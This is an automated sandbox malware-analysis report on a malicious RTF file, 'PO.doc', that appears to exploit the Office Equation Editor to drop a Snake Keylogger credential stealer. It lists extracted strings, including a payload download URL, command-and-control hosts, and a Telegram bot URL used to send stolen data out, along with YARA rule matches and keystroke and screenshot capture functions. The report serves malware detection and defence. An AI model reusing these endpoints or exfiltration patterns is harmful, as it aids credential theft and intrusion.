Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 07 Oct 2024 12:56:13 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000003.397395369.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.397698167.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.397637969.000000000063F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://154.216.19.160/txt/6FfzLi8FyhIIqWu.exe
Source: EQNEDT32.EXE, 00000002.00000003.397395369.000000000067F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.397698167.000000000067F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://154.216.19.160/txt/6FfzLi8FyhIIqWu.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.397637969.000000000063F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://154.216.19.160/txt/6FfzLi8FyhIIqWu.exej
Source: EQNEDT32.EXE, 00000002.00000002.397637969.000000000063F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://154.216.19.160/txt/6FfzLi8FyhIIqWu.exettC:
Source: obisfd.exe, 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: obisfd.exe, 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.00000000027B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: obisfd.exe, 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.00000000027B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: obisfd.exe, 00000007.00000002.923787570.0000000002969000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: obisfd.exe, 00000007.00000002.923787570.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000293B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000295B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002904000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000294D000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: obisfd.exe, 00000007.00000002.923787570.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002848000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000293B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000295B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002897000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000291F000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002904000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000294D000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: obisfd.exe, 00000007.00000002.923787570.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923618528.00000000007E8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: obisfd.exe, 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: obisfd.exe, 00000007.00000002.924731101.0000000005660000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: obisfd.exe, 00000007.00000002.924731101.0000000005660000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: obisfd.exe, 00000007.00000002.923787570.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000286D000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000293B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000295B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002904000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000294D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: obisfd.exe, 00000005.00000002.405641399.0000000002A34000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.00000000027B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: obisfd.exe, 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.00000000027B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: obisfd.exe, 00000007.00000002.924283093.000000000382B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A47000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003877000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A34000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: obisfd.exe, 00000007.00000002.923787570.0000000002969000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: obisfd.exe, 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002969000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: obisfd.exe, 00000007.00000002.923787570.0000000002969000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: obisfd.exe, 00000007.00000002.923787570.0000000002969000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20a
Source: obisfd.exe, 00000007.00000002.924283093.000000000382B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A47000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003877000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A34000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: obisfd.exe, 00000007.00000002.924283093.000000000382B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A47000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003877000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A34000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: obisfd.exe, 00000007.00000002.924283093.000000000382B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A47000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003877000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A34000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: obisfd.exe, 00000007.00000002.924283093.000000000382B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A47000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003877000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A34000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: obisfd.exe, 00000007.00000002.923787570.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000293B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000295B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002897000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002904000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000294D000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: obisfd.exe, 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: obisfd.exe, 00000007.00000002.923787570.0000000002854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: obisfd.exe, 00000007.00000002.923787570.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000293B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000295B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002897000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002904000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.000000000294D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.334
Source: obisfd.exe, 00000007.00000002.924283093.000000000382B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A47000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003877000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A34000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: obisfd.exe, 00000007.00000002.924283093.000000000382B000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A47000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003877000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A34000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.923787570.0000000002A88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: obisfd.exe, 00000007.00000002.923618528.0000000000803000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: obisfd.exe, 00000007.00000002.923787570.0000000002A88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/favicon.ico
Source: obisfd.exe, 00000007.00000002.924283093.0000000003902000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=net
Source: obisfd.exe, 00000007.00000002.924283093.0000000003902000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: obisfd.exe, 00000007.00000002.924283093.0000000003902000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=wmf
Source: obisfd.exe, 00000007.00000002.923787570.0000000002A88000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003902000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index
Source: obisfd.exe, 00000007.00000002.924283093.00000000038B8000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003902000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: obisfd.exe, 00000007.00000002.924283093.00000000038B8000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003902000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: obisfd.exe, 00000007.00000002.924283093.000000000398E000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.000000000396C000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.0000000003912000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.00000000038DA000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.00000000039C6000.00000004.00000800.00020000.00000000.sdmp, obisfd.exe, 00000007.00000002.924283093.00000000038B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/indextest
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49181 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Contains functionality to log keystrokes (.Net Source)
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode
Source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode

System Summary
barindex
Initial sample is an obfuscated RTF file
Source: initial sample Static file information: Filename: PO.doc
Malicious sample detected (through community Yara rule)
Source: PO.doc, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: obisfd.exe PID: 3544, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: obisfd.exe PID: 3628, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\6FfzLi8FyhIIqWu[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\obisfd.exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002C04C0 5_2_002C04C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002C1111 5_2_002C1111
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002CD1B0 5_2_002CD1B0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002CC320 5_2_002CC320
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002CD709 5_2_002CD709
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002CD718 5_2_002CD718
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002CC758 5_2_002CC758
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002CBEE8 5_2_002CBEE8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002CBEC9 5_2_002CBEC9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030E8A8 7_2_0030E8A8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_003040F8 7_2_003040F8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00308100 7_2_00308100
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030390C 7_2_0030390C
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00304968 7_2_00304968
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_003031B1 7_2_003031B1
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_003069B8 7_2_003069B8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00309A4A 7_2_00309A4A
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_003043C8 7_2_003043C8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00304C38 7_2_00304C38
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00307490 7_2_00307490
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00303482 7_2_00303482
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00305D00 7_2_00305D00
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030DD50 7_2_0030DD50
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00303E28 7_2_00303E28
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00304699 7_2_00304699
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00308EC2 7_2_00308EC2
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_003087E0 7_2_003087E0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_0030D1F9 7_2_0030D1F9
